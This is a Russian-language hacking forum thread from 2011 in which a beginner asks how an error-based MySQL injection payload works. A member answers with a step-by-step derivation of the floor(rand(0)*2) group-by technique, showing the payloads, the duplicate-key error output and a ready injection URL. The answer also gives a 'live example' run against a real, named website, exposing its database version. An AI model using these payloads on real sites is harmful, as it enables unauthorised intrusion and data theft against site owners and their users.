ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   проблема c sql (https://forum.antichat.xyz/showthread.php?t=299909)

qaz 24.10.2011 23:39

я уже спрашивал на форуме что значит етот запрос

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]+or+[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]group[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]by[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"](([/COLOR][COLOR="#0000BB"]select[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"]()),[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]))[/COLOR][COLOR="#0000BB"]having[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]min[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])+or+[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]--+

[/
COLOR][/COLOR

но никто так и не ответил, все ссылаются на какието ресурсы где обьяснением и подавно непахло, но всёже может хтонибуть может проследить ход моих мыслей и обьяснить.

1)Первое што было непонятно ето +or+1+

што вобще ето значит?

я поробовал на хостинге выполнить ети запросы,

вот к примеру

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]SELECT[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]user_mail[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]FROM[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]table[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]WHERE[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'12'[/COLOR][COLOR="#007700"]or[/COLOR][COLOR="#0000BB"]1[/COLOR][/COLOR

етот запрос значит ,, вывести емеил бзера из таблици где id = 12 или 1,, чо ето за бред? правильно было бы

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]SELECT[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]user_mail[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]FROM[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]table[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]WHERE[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'12'[/COLOR][COLOR="#007700"]or `[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`=[/COLOR][COLOR="#0000BB"]1[/COLOR][/COLOR

при таком запросе

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]SELECT[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]user_mail[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]FROM[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]table[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]WHERE[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'12'[/COLOR][COLOR="#007700"]or[/COLOR][COLOR="#0000BB"]1[/COLOR][/COLOR

у меня всегда выводило первую запись в таблице, я так догудуюсь што етот запрос означает ,,вывести то_то где id = 12 или первую запись,, или я не так понял?

2) Поехали дальше

min(0) насколько я знаю в скобках надо вводить название столбца, што означает там введение цифр???

3)Далее ето floor(rand(0)*2) результатом такого уравнения будет ноль, но если подставить в запрос просто ноль то ничего не выйдет, почему? какую роль ето играет?

4) ну и тд. также непойму зачем в конце +or+1--+ и зачем надо груперовать и собирать в одну строку я тоже не пойму group+by+concat

вобщем буду очень презнателен если ктонибуть прольёт немного света на мой затемнелый разум

Slaid 25.10.2011 14:24

sql inj кто-то пытался заюзать, при помоши вывода об ошибках

в оригинале немного по другому

floor(rand(0)*2) провоцирует ошибку =)

попугай 25.10.2011 14:34

https://rdot.org/forum/showthread.php?t=503

qaz 25.10.2011 21:01

Цитата:

Сообщение от попугай
https://rdot.org/forum/showthread.php?t=503

там к сожалению нет ответа на мои вопросы

попугай 25.10.2011 21:32

Цитата:

Сообщение от qaz
там к сожалению нет ответа на мои вопросы

да ну? Там как раз есть. Приглядись.

Melfis 26.10.2011 00:04

Цитата:

Сообщение от попугай
да ну? Там как раз есть. Приглядись.

Д даж приглядываться не надо ) С километра видно.

qaz 27.12.2011 00:43

Цитата:

Сообщение от Melfis
Д даж приглядываться не надо ) С километра видно.

бред,

процетируй ответы на мои вопросы из заданой ссылки

d1v 27.12.2011 00:56

Цитата:

Сообщение от qaz
бред,
процетируй ответы на мои вопросы из заданой ссылки

если бы кто-то всё-таки опустился до такого уровня, чтобы ответить тебе на вопросы, то в последующем у тебя возникло ещё больше вопросов, которые ты в силу своих интеллектуальных способностей тоже задал бы здесь, а не попытался найти на них ответ самостоятельно. а от того, что ты услышишь ответы, не зная даже что такое mysql, мозгов у тебя не прибавиться, а скорее убудет, т.к. в последущем это будет прямой сигнал для твоего скудного набора нейронов о том, что тебе кто-то что-то должен и не даёт. от сюда все проблемы на ачате.

qaz 27.12.2011 01:00

Цитата:

Сообщение от d1v
если бы кто-то всё-таки опустился до такого уровня, чтобы ответить тебе на
вопросы
, то в последующем у тебя возникло ещё больше
вопросов
, которые ты в силу своих интеллектуальных способностей тоже задал бы здесь, а не попытался найти на них ответ самостоятельно. а от того, что ты услышишь ответы, не зная даже что такое mysql, мозгов у тебя не прибавиться, а скорее убудет, т.к. в последущем это будет прямой сигнал для твоего скудного набора нейронов о том, что тебе кто-то что-то должен и не даёт. от сюда все проблемы на ачате.

я знаю mysql, не досконально, но основное знаю, не знал бы вопросы бы ваще не задавал

d1v 27.12.2011 01:01

Цитата:

Сообщение от qaz
я знаю mysql, не досконально, но основное знаю, не знал бы вопросы бы ваще не задавал

так в чём тогда проблема? открой документацию и прочитай, что делает тот или иной оператор.

shell_c0de 27.12.2011 01:36

/showpost.php?p=407227&postcount=3

вообще-то прочитай всю ветку сначала и многое поймешь сразу, не вижу тут все повторять и копипастить там все подробно описано по пунктам.

qaz 27.12.2011 01:42

Цитата:

Сообщение от d1v
так в чём тогда проблема? открой документацию и прочитай, что делает тот или иной оператор.

ну я и открывал

вот возьмём к примеру етот вопрос

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"])

[/COLOR][COLOR="#0000BB"]min[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]насколько я знаю в скобках надо вводить название столбца[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]што означает там введение цифр[/COLOR][COLOR="#007700"]???

[/
COLOR][/COLOR

вот к примеру первое попавшиеся описание

http://php.su/mysql/?commands

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]Внутренние функции MIN[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]MAX[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]AVG[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]SUM

При работе с оператором SELECT вам доступны несколько очень полезных внутренних функций MySQL
[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]вычисляющих колличество элементов[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]COUNT[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]сумму элементов[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]SUM[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]максимальное и минимальное значения[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]MAX и MIN[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]а также среднее значение[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]AVG[/COLOR][COLOR="#007700"]).

[/
COLOR][COLOR="#0000BB"]Следующие операторы выведут[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]соответственно[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]колличество записей в таблице CLIENTS[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]самый дорогой товар и сумму цен всех товаров[/COLOR][COLOR="#007700"]:

[/
COLOR][COLOR="#0000BB"]SELECT COUNT[/COLOR][COLOR="#007700"](*)

[/
COLOR][COLOR="#0000BB"]FROM CLIENTS[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]SELECT MAX[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]PRICE[/COLOR][COLOR="#007700"])

[/
COLOR][COLOR="#0000BB"]FROM TOOLS[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]SELECT SUM[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]PRICE[/COLOR][COLOR="#007700"])

[/
COLOR][COLOR="#0000BB"]FROM TOOLS[/COLOR][COLOR="#007700"];

[/
COLOR][/COLOR

также как и в учебнике который я читал, подстовляются стольбцы, а о возможности подстоновки числа ноль и том что и откуда оно будет бывирать не сказано

_______________________________________

qaz 27.12.2011 01:44

Цитата:

Сообщение от shell_c0de
/showpost.php?p=407227&postcount=3
вообще-то прочитай всю ветку сначала и многое поймешь сразу, не вижу тут все повторять и копипастить там все подробно описано по пунктам.

спасибо, ща почитаю

Expl0ited 27.12.2011 01:52

Вся соль пошла отсюда: http://bugs.mysql.com/bug.php?id=32249

Где товарищ, Domas Mituzas, недоумевает, почему код

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]mysql[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]select count[/COLOR][COLOR="#007700"](*),[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]()*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]x from grouptest1 group by x[/COLOR][COLOR="#007700"];[/COLOR][/COLOR

возвращает, то верный результат, то тот же результат, но в обработчике ошибки:

Цитата:

Сообщение от None
ERROR 1062 (23000): Duplicate entry '
1
' for key 'group_key'

Проблема в том что group by проверяет выражение несколько раз, а rand() в свою очередь возвращает каждый раз разные значение. Цитата из мануала :

Цитата:

Сообщение от None
"You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times".

Исходя из этого некто Qwazar (пруф ) решил попробовать конкатацию строк, для получения запрошенных данных в обработчике ошибки:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]select count[/COLOR][COLOR="#007700"](*),[/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]()*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]))[/COLOR][COLOR="#0000BB"]x from users group by x[/COLOR][COLOR="#007700"];[/COLOR][/COLOR

После нескольких попыток выполнить этот запрос, выводится:

#1062 - Duplicate entry '5.5.80' for key 'group_key'

или

#1062 - Duplicate entry '5.5.81' for key 'group_key'

Дальше для упрощения(укорочения) запроса, concat(version(),floor(rand()*2)) перенеслась в group by и мы получаем:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]select count[/COLOR][COLOR="#007700"](*)[/COLOR][COLOR="#0000BB"]from users group by[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]()*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"])));[/COLOR][/COLOR

Результат:

#1062 - Duplicate entry '5.5.80' for key 'group_key'

или

#1062 - Duplicate entry '5.5.81' for key 'group_key'

К конструкции floor(rand(0)*2)) пришли исключительно методом тыка (если я конечно не ошибаюсь). И в итоге получился вектор, для вывода информации в ошибке mysql:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]select count[/COLOR][COLOR="#007700"](*)[/COLOR][COLOR="#0000BB"]from users group by[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"])));[/COLOR][/COLOR

Постоянный результат:

#1062 - Duplicate entry '5.5.81' for key 'group_key'

Для удобства можно избавится от лишнего символа 1 в конце результата, использованием 0x00 - нулевой байт

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]select count[/COLOR][COLOR="#007700"](*)[/COLOR][COLOR="#0000BB"]from users group by[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#0000BB"]0x00[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"])));[/COLOR][/COLOR

Ну и уже в виде инъекции в запросе это может выглядеть так:

Код:

bug.php?id=10+and+(select+count(*)+from+table+group+by(concat(version(),0x00,floor(rand(0)*2))))--+
PHP код:

[COLOR="#000000"][COLOR="#0000BB"]SELECT id[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]news FROM content WHERE id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"]and ([/COLOR][COLOR="#0000BB"]select count[/COLOR][COLOR="#007700"](*)[/COLOR][COLOR="#0000BB"]from table group by[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#0000BB"]0x00[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]))))--[/COLOR][/COLOR

И при условии если существует таблица table, то в ответе будет:

#1062 - Duplicate entry '5.5.8' for key 'group_key'

Живой пример:

Код:

http://www.forakom.ru/tree/index.php?brand_id=739&model_id=5533&engine_id=1005635+and(select+count(*)+from+tcdViews.v_ext_engines+group+by(concat(version(),0x00,floor(rand(0)*2))))--+
Duplicate entry '5.0.67-log' for key 1

Теперь наглядно?

qaz 27.12.2011 18:48

Цитата:

Сообщение от Expl0ited
Теперь наглядно?

да, спасибо большое)


Время: 20:07